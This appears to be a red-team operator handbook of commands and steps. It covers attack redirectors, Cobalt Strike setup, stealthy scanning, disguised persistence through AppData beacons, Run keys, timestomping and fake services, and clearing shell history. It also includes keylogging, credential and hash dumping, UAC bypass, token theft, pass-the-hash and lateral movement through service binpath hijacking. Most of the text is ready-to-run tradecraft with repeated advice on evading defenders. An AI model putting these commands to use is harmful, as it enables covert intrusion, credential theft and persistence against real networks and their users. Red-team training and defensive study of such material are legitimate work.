## 

[**How to Use This Book**](#_c76t0ihccgkc) **3**

[**Setting Up a Redirector**](#_8s2n6bkyi5r3) **4**

[Using SSH as a Bent Pipe](#_w4yl7hqazwun) 4

[IP Tables](#_c0ywgi1xvejq) 4

[**Cobalt Strike**](#_nstinv3f3prh) **6**

[Cobalt Strike Setup](#_95d3puv7wtg9) 6

[Sleep Time](#_g1p6ce93bkcm) 6

[Notes and Labeling](#_aps166rglyzk) 6

[Other Hints](#_tapjfxhml504) 6

[**Logging**](#_id8v6u1kib5) **7**

[**Active Enumeration**](#_j9n8qw4k4365) **8**

[Nmap](#_rqdo25ylh66d) 8

[??dnsrecon??](#_hs0l9rnjd7w8) 8

[**Situational Awareness**](#_6yi7wq1jppwl) **9**

[Windows](#_kgkzg48b45m1) 9

[Linux](#_pxqlxdxbqn93) 10

[Cobalt Strike](#_ccfk5p4s2dck) 10

[**Persistence**](#_7rwnz1uxigd3) **11**

[User Persistence](#_yvyfv9we99go) 11

[Other Hints](#_ln04qzcglfwj) 11

[SYSTEM Persistence](#_fgv5lpo10mg9) 11

[**Privilege Escalation Positioning**](#_h1lawc50fc23) **13**

[Data Mining](#_3uf1dwxmw28u) 13

[Network & Local Queries](#_qf4gfn4d1y2i) 13

[Keylogging](#_k79fmhrdy8yx) 13

[Screenshot](#_p126a0buolwp) 13

[Patch Activity](#_p858fpxy9est) 14

[Passwords & Hash Acquisition](#_at1knky320du) 14

[**Privilege Escalation**](#_wtkz8hpl4x4h) **15**

[Runas](#_rvti6igule5e) 15

[Bypass User Account Control (UAC)](#_bnpshiyvokwi) 15

[Tokens](#_z16xlegyuj9x) 15

[**Pre-Execution Recon**](#_2rds7z6c87gd) **16**

[**Remote Execution**](#_6lixofcjhmyn) **17**

[Service Manipulation](#_xv51okun5nkw) 17

[**Other Helpful Commands**](#_25adoriag98o) **18**

[**Other Helpful Notes**](#_v0c7pzhkeoil) **18**

## 

## 

## **How to Use This Book**

Any time a phrase of word is surrounded by carrots <>, the user must enter their own relevant input. For example:

dir /a <FileName>

The user might input:

dir /a password.txt

When the symbol | is seen in the command, it means ‘or’.

## 

## 

## **Setting Up a Redirector**

Redirectors are useful as they add a layer of obscurity between the attacker on the target network. If the IP address of the redirector is discovered, an attacker can use a new redirector to continue operations. In practice an attacker will operate with multiple redirectors in expectation that one will be “burned” at some point during the engagement. If that redirectors IP address is denied access to the target network, other options remain with the leftover redirectors.

### *Using SSH as a Bent Pipe*

The following commands will setup a redirector on port 443. After executing the following commands, be patient. It may take some time, but a password prompt will appear after executing the final command.

ssh <user>@<redirectorIP>

su root

ssh -v -L <redirectorIP>:443:<AttackStationIP>:443 <user>@<redirectorIP>

The “-L” portion of the command is an argument used to redirect data from the specified local port, through the secure tunnel to the specified destination host and port.

On the local attack box, setup a netcat “catcher” on 443. Browse to the redirector using another local box to see if the https packet will be routed to the attack box. To setup netcat, use the following command.

nc -lvp 443

### *IP Tables*

IP tables need to be established to harden the redirector. The redirector should only handle traffic that is associated with boxes in the target range or that of the attack box.

su root :Switch to root

iptables -F :Flush the rules

iptables -A INPUT -i eth0 :Allow connections from the attack station

-s <AttackStationIP> -j ACCEPT

iptables -A INPUT -i eth0 :Allow connections for the target space;

-s <TargetSubnetRange> -j ACCEPT <TargetSubnetRange> example: 172.16.0.0/16

iptables -A INPUT -i lo -j ACCEPT :Allow connections from redirector to

itself

iptables -P INPUT DROP :Set INPUT chain to drop by default

iptables -A OUTPUT -o eth0 :Allow Redirector to talk back to the

-d <AttackStationIP> -m state attack station

--state NEW, ESTABLISHED, RELATED

-j ACCEPT

iptables -A OUTPUT -o eth0 :Allow Redirector to communicate with

-d <TargetSubnetRange> -m state related and established connections from

--state NEW,ESTABLISHED,RELATED target network

-j ACCEPT

iptables -A OUTPUT -o lo -j ACCEPT :Allow connections from redirector to

itself

iptables -P OUTPUT DROP :Set OUTPUT chain to drop by default

## 

## 

## 

## **Cobalt Strike**

Cobalt Strike is a red teaming software that consists of a teamserver and a client.

### *Cobalt Strike Setup*

1. Copy Cobalt strike folder to the Desktop
2. Run the teamserver with either command

./teamserver <AttackBoxIP> <password> :C2 profile path and date

</path/to/C2/profile> <datetokillbeacons> to kill beacons is

Optional. Never use special characters in

the password.

1. Run client

./cobaltstrike

1. Follow the GUI to login providing port, handle, IP of teamserver, password for teamserver, and the default high port.
2. Create a listener. Set the name to <RedirectIP>\_<TransProtocol>. Use the redirector IP for every IP blank.
3. Test the setup. Create a binary using the given listener and place it on a test machine on the local network. Make sure the callback reaches through the redirector to the cobalt strike client.

### *Sleep Time*

Set beacons to sleep from 45s to 60s when interacting with a target. If not interacting, move the sleep time to over 5 minutes or to whatever the situation demands.

### *Notes and Labeling*

* Keep SMB callbacks together in your list and label them ‘Active | <PID of HTTPS Link>’
* Label live callbacks with ‘Active | <sleeptime>’
* Label dead callbacks with ‘zDead’ label

### *Other Hints*

* Chain symbol next to the target indicates a linked SMB sessions
* In case something needs to be transferred off the attack station, use:

python -m SimpleHTTPServer <Port#>

This will create a file server so a remote system can extract files from the attack station.

## **Logging**

Logging is important for each action taken. Create a spreadsheet with the following headings:

Date :Press Ctrl+; for the date and Ctrl+Shift+; for the

exact time to shortcut entering the date and time.

Source IP :The IP address of the last hop you used before

hitting the target

Destination IP :The IP address of the target

Tool Name :Program used to accomplish the task

Filepath + Filename :The path and name of the file downloaded,

uploaded, or manipulated in some way. Also use this field for registry key edits.

Description :Describe the action taken. Mark the action with

the PID of the callback used. Indicate if a new beacon was spawned.

Critical Path :The login and credentials needed to perform the

action. Input any conditions critical to the success of the action.

Status :Input whether the action was successful or

whether a beacon is Up or Down

## 

## **Active Enumeration**

### *Nmap*

nmap <IPSubnetRange/CID> :Basic nmap syntax

-iL <InputFileName> :Scan IPs, ranges, and ports indicated in

a file

-p <port,port,port-port> :Indicates the ports you want to scan. Can

be comma separated or indicate a range

-sT :Uses a full TCP handshake when locating

open ports. Helps evade IDS by looking like a full legit session.

-oA <NameOfFile> :Outputs to all filetype

-T<#> :For <#>, place a number from 1-5.

Recommended to use 1 or 2 if enumerating a watchful target. Numbers indicate scan speed with 1 being the slowest.

Only scan a few ports, 3 to 4, when performing a scan.

Do not scan IPs in sequential order, instead pull IPs from the white list, randomize that list in excel, and save this randomized file

### *??dnsrecon??*

python dnsrecon

-r :IP range

-n :Name server

-t rvl :reverse lookup enumeration

## **Situational Awareness**

Situation awareness(SA) commands should be performed:

1. Before running a tool that has a large system impact
2. After gaining access to a system
3. After returning from an extensive break
4. Periodically while operating

It is performed to understand the state of the system locally and on the network.

### *Windows*

ipconfig /all :IP address information for each network interface.

Also contains DNS servers, gateways and other bits of IP related treasures.

tasklist /v :Lists all running processes. The addition of /v

includes Status, User Name (user currently running the process), CPU Time (how long the program has been running), and Window Title. Be sure to have a wide terminal window.

netstat -anop tcp :Lists current, listening, and recently expired

network connections. The -a flag asks for all connections. -n asks that the IP addresses not be resolved to actual names. -o displays the process identification (PID) number of the program running the connection. -p tcp asks for only TCP links.

dir c:\users :Displays directories of every user on the box that

has a local profile.

dir /a c:\ :The age of pagefile.sys will let you know how long

it has been since the last true reboot. Also, the existence of Program Files (x86) points to the OS being an x64 architecture.

systeminfo :Gives detailed information about the workstation

including architecture and patches. Do not run remotely as the action will create a profile on the remote host for the admin that ran the command.

powershell get-hotfix :Displays patches and fixes that have been

installed

net use :Displays shares available to the user

net user <username> :Displays password creation/expiration dates, group

affiliations, and other details about the user

### *Linux*

unset HISTFILE :While not an SA command itself, **run this first** on

A Linux box to prevent your actions from being logged.

ifconfig -a :IP address information for each network interface.

Also contains DNS servers, gateways and other bits of IP related treasures.

ip a :Similar information to ifconfig but slightly more

reliable at times.

netstat -pantu :List current, listening, and recently expired

network connections. -p displays the program running the connection. -a shows all connections. -n speeds up results by preventing IP addresses from being resolved to a hostname. -t displays tcp connections. -u displays udp connections.

uname -a :Displays kernel version

w :Displays currently logged in users

last :Lists logged in sessions

cat etc/passwd :Displays users

cat etc/group :Displays groups

### *Cobalt Strike*

ps :Lists all processes, PIDS, and users

running programs on the workstation. Works much like tasklist.

## **Persistence**

Persistence allows the attacker to keep a foothold within a workstation or server regardless of whether or not the box has been rebooted.

### *User Persistence*

1. Place a callback beacon file in the user’s AppData folder. Be sure to give the file a name that closely matches the files around it.
2. Run the Timestomp command to ensure the creation date of the file matches the creation date of the files around it.

Timestomp <FileName> <FilewithDesiredDateToBeUsed>

1. Run the callback beacon file on the user system before inputting the registry entry to ensure correct operation of the callback.
2. Add a runkey to the registry.

REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "<AppName>" /t REG\_SZ /F /D "<C:\Path\To\File\File.exe>"

### *Other Hints*

* It can be problematic to maintain persistence within the DC. Instead, grab credentials from the DC and then persist in a workstation.
* Do not put a beacon in a JUNCTION folder.

### *SYSTEM Persistence*

There are several ways to accomplish SYSTEM persistence: creating a service, scheduling a task…

Creating a Service

1. Choose a service name that is used by windows but is not currently on the system you are attacking.
2. Create a SYSTEM level beacon and rename the beacon to match the binary associated with the service selected.
3. Upload the service binary to c:\windows\system32.
4. Create the service:
   * sc create <servicename> binpath= “<path\to\binary>” DisplayName= “<displayname>” start= auto
5. Provide a description preferably the same description that Windows uses to describe the service.
   * sc description <servicename> “<description>”
6. sc start <servicename>

After the service runs, it will create a process called rundll32.exe. This process can be tip-off for defenders. Once the beacon calls back, run a Windows service executable in c:\windows\system32 that is not currently running (suggest upnpcont.exe) and inject into that process while killing the rundll32 process. This process can be accomplished with the following commands:

1. cmd /c <c:\path\to\binary>
2. ps
3. inject <PID> <x86|x64> <listener>
4. kill rundll32.exe

## **Privilege Escalation Positioning**

Before an escalation of privileges can occur, certain data must be collected to find out the avenues available for escalation. This information gathering process is different from SA because the intent to to find a vulnerability or a piece of information to enable an escalation of authority.

### *Data Mining*

Look for files that may contain passwords or script files in which an admin may have left credentials so a service might run.

Document file types may include: \*.txt, \*.doc, \*.docx, \*.xls, \*.xlsx

Script file types may include: \*.bat

On the domain controller search for scripts here: \\<IP>\SYSVOL\scripts

Besides searching local files, remember to search public shares as well.

dir /a :Displays both hidden and normal files in

a folder

dir /a /s \*<PieceOfFilename>\* :Displays hidden files and searches every

subdirectory within the current path for a file that has <PieceOfFilename> in its own name

Helpful directories to search include:

c:\

c:\users\Public

c:\users\<username>\Desktop | Documents | Downloads | Recent

### *Network & Local Queries*

Enumerate shares, user information, and group information.

net use :Displays mapped drives

net share :Displays shared drives

### *Keylogging*

keylogger <PID> <x86|x64> :CS utility for keylogging. Default

architecture is x86. Best to use the PID for explorer.exe

### *Screenshot*

screenshot <PID> <x86|x64> :Screenshot the workstation. Easiest to

inject into explorer.exe. Defaults to x86.

### *Patch Activity*

Determine when the last update or patch occurred on the system. If the system has not been patched for over a month, perhaps an exploit exists.

wmic qfe list :Lists updates, type of updates, and dates of

updates

systeminfo :Returns patch information. Do not run remotely.

### *Passwords & Hash Acquisition*

Be aware that passwords found on a local system for a user will often be reused throughout the network for more privileged accounts.

hashdump :CS command that dumps all login password hashes on

the local machine. Requires a system level account.

wdigest :CS command that recovers all login passwords from

memory that have been entered since the last reboot.

logonpasswords :CS command

## **Privilege Escalation**

### *Runas*

CS command that runs a process with the privileges of another account. It’s usually used to attempt to run a callback binary with the credentials of an admin but in the environment of the user.

runas <domain>|<workstation>\<username> <password> <c:\path\to\binary.exe>

There are a few caveats to this command:

* It must be ran by an account with user level privileges
* Both accounts must have access to the binary. For instance a binary in a public folder on the computer would be sufficient.
* Be sure to specify the full path to the binary

### *Bypass User Account Control (UAC)*

Normally when an admin tries to perform a SYSTEM level process, Windows will stop the admin with a pop-up (UAC) to ensure this SYSTEM level action is legitimate. The same may occur if an attacker tries to elevate to a SYSTEM level authority permanently. The following command will assist in this elevation.

bypassuac :CS command that elevates an administrator's status

to a high integrity, SYSTEM level status without tripping UAC protections within windows

### *Tokens*

steal\_token <PID> :CS Command to steal tokens from

the specified PID. Must be SYSTEM.

pth <DOMAIN>\<User> <hash> :CS command to pass the hash of

another user. Must be SYSTEM.

make\_token <Domain>\<User> <password> :Make a token for a remote

session. Uses plaintext passwords. Can be executed with just user credentials.

## **Pre-Execution Recon**

Before using credentials to jump to another workstation via remote execution, it is a good idea to check to make sure your credentials work on the remote machine.

Running tasklist remotely can be extremely helpful. Not only are credentials verified in the process, but an aggressor can learn if the user is logged in, if a defender is running a binary like Wireshark, or if the workstation is locked.

tasklist /s <IPofTarget>

## **Remote Execution**

Running a binary on a remote system directly can be problematic. The following methods allow remote execution on a system after the aggressor has secured appropriate credentials.

### Service Manipulation

Use the sc command to modify a service on a remote target.

1. Upload a System level beacon binary to the target system using previously acquired credentials.
2. Locate a currently running service that does very little or start a Windows service that will not attract increased scrutiny.
3. Examine the state of the service in question.
   * sc \\<IPofTarget> query <ServiceName>
4. Make note of the binpath of the service.
   * sc \\<IPofTarget> qc <ServiceName>
5. Ensure the Reset\_Period equals 0.
   * sc \\<IPofTarget> qfailure <ServiceName>
6. Change the binpath to point to the uploaded beacon.
   * sc \\<IPofTarget> config <Service Name> binpath= “<c:\path\to\binary>”
7. Start the service to receive callback
   * sc \\<IPofTarget> start <ServiceName>
8. Change the binpath back to its original value.
   * sc \\<IPofTarget> config <ServiceName> binpath= “<c:\path\of\default\binary>”
9. Ensure the binpath was indeed changed.
   * sc \\<IPofTarget> qc <ServiceName>

## **Windows Commands**

wmic useraccount get name, sid :Acquires SIDS of users on domain

shutdown /r :Reboots a workstation

reg query hkcu :Registry value lookup

sc query :Display running services

sc delete <servicename> :Delete a service

## **Linux Commands**

ip a add <ip address>/<cidr> dev :Adds an IP address to an interface

<interface>

ip a del <ip address>/<cidr> dev :Deletes an IP address from an interface

<interface>

ip link set <interface> down :Brings interface down

ip link set <interface> up :Brings interface up

## **Other Helpful Notes**

When a user removes a CAC card from a workstation, all connections are killed.

When CS launches a beacon, it uses rundll32.exe. Migrate from the process immediately.

A $ symbol after a share name means that the share is hidden.

$ at the end of a network name designates a machine name.

C:\windows\system32 will always exist on a workstation. On a 64 bit workstation, all 64 bit executables reside in the system32 folder. SysWOW64 contains all 32 bit libraries.